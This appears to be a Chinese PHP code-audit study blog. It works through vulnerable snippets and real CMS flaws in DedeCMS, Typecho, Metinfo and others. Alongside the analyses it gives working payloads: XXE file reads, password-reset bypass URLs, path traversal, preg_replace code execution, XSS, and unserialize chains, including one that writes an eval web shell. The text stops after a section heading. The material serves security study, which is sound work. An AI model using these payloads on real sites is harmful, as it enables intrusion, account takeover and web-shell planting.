<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310145747.png" alt="" /></p>
<p><strong>新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控</strong></p>
<ul>
<li>发送到burp</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310153139.png" alt="" /></p>
<ul>
<li>修改payload</li>
</ul>
<pre><code class="line-numbers">/test/backend/ProductStream/loadPreview?_dc=1583825465339&amp;sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&amp;conditions={}&amp;shopId=1&amp;currencyId=1&amp;customerGroupKey=EK&amp;page=1&amp;start=0&amp;limit=25
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310160323.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://www.php.net/manual/zh/simplexmlelement.construct.php
</code></pre>
<h3>CTF</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=&gt;$value)
        echo $key.'=&gt;'.$value.'&lt;br&gt;';
}
</code></pre>
<p><strong>当class_exists时，调用__autoload方法，但是__autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法</strong></p>
<ul>
<li>列出文件（GlobIterator类）</li>
</ul>
<pre><code class="language-php line-numbers">public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
</code></pre>
<p><strong>第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://127.0.0.1:8888/index.php?name=GlobIterator&amp;param=./*.php&amp;param2=0
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310165128.png" alt="" /></p>
<ul>
<li>读取flag</li>
</ul>
<pre><code class="line-numbers">http://127.0.0.1:8888/index.php?name=SimpleXMLElement&amp;param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&amp;param2=2
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310165415.png" alt="" /><br />
&#8211; 参考</p>
<pre><code class="line-numbers">https://www.php.net/manual/en/function.spl-autoload-register.php
</code></pre>
<h2>strpos使用不当引发漏洞</h2>
<h3>False Beard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Login {
  public function __construct($user, $pass) {
    $this-&gt;loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '&lt;') || !strpos($user, '&gt;')) &amp;&amp;
      (!strpos($pass, '&lt;') || !strpos($pass, '&gt;'))
    ) {
      $format = '&lt;?xml version="1.0"?&gt;' .
        '&lt;user v="%s"/&gt;&lt;pass v="%s"/&gt;';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this-&gt;login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="line-numbers">主要是用来查找字符在字符串中首次出现的位置。
</code></pre>
<p><strong>查找代码中是否含有&lt;与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">user=&lt;"&gt;&lt;injected-tag property="&amp;pass=&lt;injected-tag&gt;
</code></pre>
<h3>DeDecms V5.7SP2任意密码重置漏洞</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200311133852.png" alt="" /></p>
<ul>
<li>开启会员登陆并且注册两个会员</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200311140110.png" alt="" /></p>
<ul>
<li>member/resetpassword.php:75 漏洞触发点</li>
</ul>
<pre><code class="language-php line-numbers">else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db-&gt;GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}
</code></pre>
<p><strong>将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数</strong></p>
<ul>
<li>查看数据表</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312132918.png" alt="" /></p>
<p><strong>当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了</strong></p>
<pre><code class="language-php line-numbers">if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''&amp; null == ''){
    sn()
}

 if(false &amp;&amp; true)
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312134303.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:150</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312135317.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:73</li>
</ul>
<p><strong>进入newmail函数</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312140852.png" alt="" /></p>
<p><strong>如果$send == &#8216;N&#8217;则发送重置邮件</strong></p>
<pre><code class="language-php line-numbers">sendmail($mailto,$mailtitle,$mailbody,$headers);
</code></pre>
<pre><code class="language-php line-numbers">/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval
</code></pre>
<ul>
<li>member/resetpassword.php:96</li>
</ul>
<p><strong>如果$id为空则退出，如果row不为空，则执行</strong></p>
<pre><code class="language-php line-numbers">    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim &gt; $row['mailtime'])
        {
            $db-&gt;executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
</code></pre>
<ul>
<li>member/templets/resetpassword2.htm:95</li>
</ul>
<pre><code class="language-php line-numbers">&lt;input type="hidden" name="dopost" value="getpasswd"&gt;
&lt;input type="hidden" name="setp" value="2"&gt;
&lt;input type="hidden" name="id" value="&lt;?php echo $id;?&gt;" /&gt;
</code></pre>
<p><strong>将setp的属性设置为2</strong></p>
<ul>
<li>member/resetpassword.php:123</li>
</ul>
<pre><code class="language-php line-numbers">elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db-&gt;executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db-&gt;executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
</code></pre>
<p><strong>如果key等于$row[&#8216;pwd&#8217;]，则重置密码成功</strong></p>
<h4>漏洞验证</h4>
<ul>
<li>访问重置密码链接获取key</li>
</ul>
<pre><code class="line-numbers">member/resetpassword.php?dopost=safequestion&amp;safequestion=0.0&amp;safeanswer=&amp;id=3
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312150736.png" alt="" /></p>
<ul>
<li>重置密码</li>
</ul>
<pre><code class="line-numbers">member/resetpassword.php?dopost=getpasswd&amp;id=3&amp;key=VeRkLvEU
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312150922.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312160331.png" alt="" /></p>
<ul>
<li>buy.php</li>
</ul>
<pre><code class="language-js line-numbers">&lt;script type="text/javascript" src="js/buy.js"&gt;&lt;/script&gt;
</code></pre>
<ul>
<li>bug.js</li>
</ul>
<pre><code class="language-js line-numbers">function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}
</code></pre>
<p><strong>将用户提交的数字传入到api.php的buy函数</strong></p>
<ul>
<li>api.php</li>
</ul>
<pre><code class="language-php line-numbers">    for($i=0; $i&lt;7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
</code></pre>
<p><strong>由于是==，可进行弱类型比较，传入7个true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">[true,true,true,true,true,true,true]
</code></pre>
<ul>
<li>购买flag</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312171526.png" alt="" /></p>
<h2>escapeshellarg与escapeshellcmd使用不当</h2>
<p><strong>escapeshellcmd: 除去字串中的特殊符号</strong><br />
<strong>escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数</strong></p>
<h3>postcard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this-&gt;sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this-&gt;sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer-&gt;send($_POST);
</code></pre>
<p><strong>新建一个MAil类进行邮件发送</strong></p>
<ul>
<li>Php内置函数mail</li>
</ul>
<pre><code class="language-php line-numbers">bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
</code></pre>
<ul>
<li>Linux中的额外参数</li>
</ul>
<pre><code class="line-numbers">-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。
</code></pre>
<ul>
<li>举个例子（原文图）</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200429165336.png" alt="" /></p>
<ul>
<li>结果</li>
</ul>
<pre><code class="line-numbers">17220 &lt;&lt;&lt; To: Alice@example.com
 17220 &lt;&lt;&lt; Subject: Hello Alice!
 17220 &lt;&lt;&lt; X-PHP-Originating-Script: 0:test.php
 17220 &lt;&lt;&lt; CC: somebodyelse@example.com
 17220 &lt;&lt;&lt;
 17220 &lt;&lt;&lt; &lt;?php phpinfo(); ?&gt;
 17220 &lt;&lt;&lt; [EOF]
</code></pre>
<ul>
<li>filter_var()问题（FILTER_VALIDATE_EMAIL）</li>
</ul>
<blockquote><p>
  filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
</p></blockquote>
<pre><code class="line-numbers">”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200429180904.png" alt="" /></p>
<ul>
<li>逃逸过程分析</li>
</ul>
<pre><code class="line-numbers">$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
</code></pre>
<p><strong>传入127.0.0.1&#8242; -v -d a=1，escapeshellarg首先进行转义，处理为&#8217;127.0.0.1&#8217;\&#8221; -v -d a=1&#8217;，接着escapeshellcmd处理，处理结果为&#8217;127.0.0.1&#8217;&#92;&#8221; -v -d a=1\&#8217;,&#92; 被解释成了 \ 而不再是转义字符</strong></p>
<h4>参考</h4>
<pre><code class="line-numbers">https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
</code></pre>
<h2>正则使用不当导致的路径穿越问题</h2>
<h3>Frost Pattern</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this-&gt;createToken($data);
        break;
      case 'delete':
        $this-&gt;clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');
  }

  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);
    unlink('/tmp/tokens/' . $file);
  }
}

$storage = new TokenStorage();
$storage-&gt;performAction($_GET['action'], $_GET['data']);
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</p>
</li>
<li>
<p>payload</p>
</li>
</ul>
<pre><code class="line-numbers">$action =delete$data = ../../config.php
</code></pre>
<h3>WeEngine0.8</h3>
<ul>
<li>web/source/site/category.ctrl.php:176</li>
</ul>
<p><strong>file_delete文件删除函数</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093718.png" alt="" /></p>
<ul>
<li>framework/function/file.func.php:294</li>
</ul>
<p><strong>查看file_delete函数</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093823.png" alt="" /></p>
<ul>
<li>追朔$file变量从何而来</li>
</ul>
<pre><code class="language-php line-numbers">if (!empty($navs)) {
        foreach ($navs as $row) {
            file_delete($row['icon']);
        }
</code></pre>
<ul>
<li>追朔$navs从何而来</li>
</ul>
<pre><code class="language-php line-numbers">    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
</code></pre>
<ul>
<li>web/source/site/category.ctrl.php:137</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095825.png" alt="" /></p>
<ul>
<li>web/source/site/category.ctrl.php:130</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095930.png" alt="" /></p>
<p><strong>$nav[&#8216;icon&#8217;] 即为文件删除函数的参</strong></p>
<h2>parse_str函数缺陷</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510103038.png" alt="" /></p>
<h2>preg_replace函数之命令执行</h2>
<h3>Candle</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex =&gt; $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</li>
</ul>
<pre><code class="language-php line-numbers">mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;$count ]] )
</code></pre>
<p><strong>$pattern 存在 /e 模式修正符，允许代码执行</strong><br />
<strong>/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行</strong></p>
<p><strong>将GET请求传过来的参数通过complexStrtolower函数执行，preg_replace函数存在e修正符</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">S*=${phpinfo()} 
</code></pre>
<h4>参考</h4>
<p><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/2557">深入研究preg_replace与代码执行</a></p>
<h3>CmsEasy 5.5</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510160914.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>lib/tool/form.php:90</li>
</ul>
<p><strong>如果$form[$name][&#8216;default&#8217;]内容被匹配到就会执行eval</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510161952.png" alt="" /></p>
<ul>
<li>cache/template/default/manage/#guestadd.php:175</li>
</ul>
<p><strong>全局搜索getform，主要注意catid是作为$name的</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510162528.png" alt="" /></p>
<ul>
<li>lib/table/archive.php:25</li>
</ul>
<p><strong>追朔catid,寻找到default</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163510.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:2367</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163724.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:493</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163809.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:332</li>
</ul>
<p><strong>$form[$name][&#8216;default&#8217;]可控</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164008.png" alt="" /></p>
<ul>
<li>lib/default/manage_act.php:29</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164614.png" alt="" /></p>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510165011.png" alt="" /></p>
<h2>str_replace函数过滤不当</h2>
<h4>Rabbit</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LanguageManager {
  public function loadLanguage() {
    $lang = $this-&gt;getBrowserLanguage();
    $sanitizedLang = $this-&gt;sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())-&gt;loadLanguage();
</code></pre>
<ul>
<li>str_replace(子字符串替换)</li>
</ul>
<pre><code class="line-numbers">str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。

str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">....// 或者 ..././ 
</code></pre>
<h3>Metinfo 6.0.0</h3>
<ul>
<li>strstr</li>
</ul>
<pre><code class="line-numbers">查找字符串的首次出现到结尾的字符串
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510181653.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>app/system/include/module/old_thumb.class.php:14</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183440.png" alt="" /></p>
<ul>
<li>include/thumb.php:6</li>
</ul>
<p><strong>全局搜索</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183630.png" alt="" /></p>
<ul>
<li>app/system/include/class/load.class.php:113</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183942.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
</code></pre>
<h2>程序未恰当exit导致的问题</h2>
<h3>Anticipation</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">extract($_POST);

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
  goAway();
}

if (!assert("(int)$pi == 3")) {
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511104100.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">pl=phpinfo()
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105009.png" alt="" /></p>
<h3>FengCms 1.32</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>如果安装完成会生成INSTALL文件，访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105552.png" alt="" /></p>
<h3>Simple-Log1.6网站重装漏洞</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，只是跳转到首页，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105858.png" alt="" /></p>
<h2>unserialize反序列化漏洞</h2>
<h3>Pumpkin Pie</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Template {
  public $cacheFile = '/tmp/cachefile';
  public $template = '&lt;div&gt;Welcome back %s&lt;/div&gt;';

  public function __construct($data = null) {
    $data = $this-&gt;loadData($data);
    $this-&gt;render($data);
  }

  public function loadData($data) {
    if (substr($data, 0, 2) !== 'O:'
      &amp;&amp; !preg_match('/O:\d:\/', $data)) {
      return unserialize($data);
    }
    return [];
  }

  public function createCache($file = null, $tpl = null) {
    $file = $file ?? $this-&gt;cacheFile;
    $tpl = $tpl ?? $this-&gt;template;
    file_put_contents($file, $tpl);
  }

  public function render($data) {
    echo sprintf(
      $this-&gt;template,
      htmlspecialchars($data['name'])
    );
  }

  public function __destruct() {
    $this-&gt;createCache();
  }
}

new Template($_COOKIE['data']);
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>在loadData函数中使用到了unserialize反序列化方法，对传进来的$data进行了反序列化，最后对Template进行了实例化，将COOKIE中的data进行了反序列化。</strong></p>
<pre><code class="language-php line-numbers">if (substr($data, 0, 2) !== 'O:'
      &amp;&amp; !preg_match('/O:\d:\/', $data))
</code></pre>
<p><strong>代码对data进行了判断，不可以为对象，0:X，X不可以为数字，绕过方法可以使用array数组绕过第一个，在X前面加+绕过第二个限制，搭达到到达反序列化方法的步骤。在__destruct销毁时会调用createCache方法写入文件，达成目的。</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php

class Template{

    public $cacheFile = './test.php';
    public $template = '&lt;?php eval($_POST[xx])&gt;';
}


$temp= new Template();
$test = Array($temp);
print(serialize($test));

?&gt;
</code></pre>
<ul>
<li>测试</li>
</ul>
<pre><code class="line-numbers">a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512133601.png" alt="" /></p>
<h3>Typecho-1.1</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512134011.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>install.php:230</li>
</ul>
<p><strong>将cookie中的__typecho_configbase64解码之后进行反序列化操作</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512134626.png" alt="" /></p>
<ul>
<li>条件</li>
</ul>
<p><strong>如果finish不存在，或者存在config.inc.php文件$_SESSION[&#8216;typecho&#8217;]为空，则退出程序</strong></p>
<pre><code class="language-php line-numbers">if (!isset($_GET['finish']) &amp;&amp; file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') &amp;&amp; empty($_SESSION['typecho'])) {
    exit;}
</code></pre>
<pre><code class="line-numbers">finish=1
</code></pre>
<p><strong>将反序列化后的结果传递给$config</strong></p>
<ul>
<li>install.php:232</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512140042.png" alt="" /></p>
<ul>
<li>var/Typecho/Db.php:114</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512140213.png" alt="" /></p>
<p><strong>变量adapterName = &#8216;Typecho_Db_Adapter_&#8217; . 变量adapterName，如果adapterName是对象，会触发__toString()方法</strong></p>
<ul>
<li>var/Typecho/Feed.php:223</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512141504.png" alt="" /></p>
<ul>
<li>var/Typecho/Feed.php:290</li>
</ul>
<p><strong>如果$item[&#8216;author&#8217;]->screenName为私有属性或者不存在会触发__get方法</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512143628.png" alt="" /></p>
<pre><code class="language-php line-numbers">    public function __get($key)
    {
        return $this-&gt;get($key);
    }
</code></pre>
<ul>
<li>var/Typecho/Request.php:295</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512144017.png" alt="" /></p>
<p><strong>call_user_fun回调函数，$this->_param[&#8216;scrrenName&#8217;] 的值设置为想要执行的函数，构造 $this->_filter 为对应函数的参数值self::RSS2 == $this->_type,type需要构造，item[&#8216;author&#8217;]为触发点，需要构造this_items</strong></p>
<ul>
<li>构造payload</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php

class Typecho_Request{

    private $_params = array();
    private $_fifter = array();

    public function __construct(){
        $this-&gt;_params['screenName'] = 'phpinfo()';
        $this-&gt;_fifter[0] = 'assert';
    }
}

class Typecho_Feed{

    private $_type;
    private $_item = array();
    public function s__construct(){

        $this-&gt;_type = 'RSS 2.0';
        $item['author'] = new Typecho_Request();
        $item['category']=Array(new Typecho_Request());
        $this-&gt;_item[0]=$item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'adapter' =&gt; $x,
    'prefix' =&gt; 'Typecho_'

);

echo base64_encode(serialize($a));

?&gt;
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512150509.png" alt="" /></p>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512153050.png" alt="" /></p>
<h2>误用htmlentities函数引发的漏洞</h2>
<h3>String Lights</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">$sanitized = [];

foreach ($_GET as $key =&gt; $value) {
  $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
  return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&amp;', $queryParts);

echo "&lt;a href='/images/size.php?" .
  htmlentities($query) . "'&gt;link&lt;/a&gt;";
</code></pre>
<ul>
<li>htmlentities</li>
</ul>
<pre><code class="line-numbers">将字符转换为 HTML 转义字符
</code></pre>
<p><em>ENT_COMPAT（默认值）：只转换双引号。<br />
ENT_QUOTES：两种引号都转换。<br />
ENT_NOQUOTES：两种引号都不转换。</em></p>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512165224.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">a%27onclick%3Dalert%281%29%2f%2f=1
</code></pre>
<h3>DM企业建站系统 v201710</h3>
<h4>漏洞分析</h4>
<ul>
<li>admindm-yourname/mod_common/login.php:63</li>
</ul>
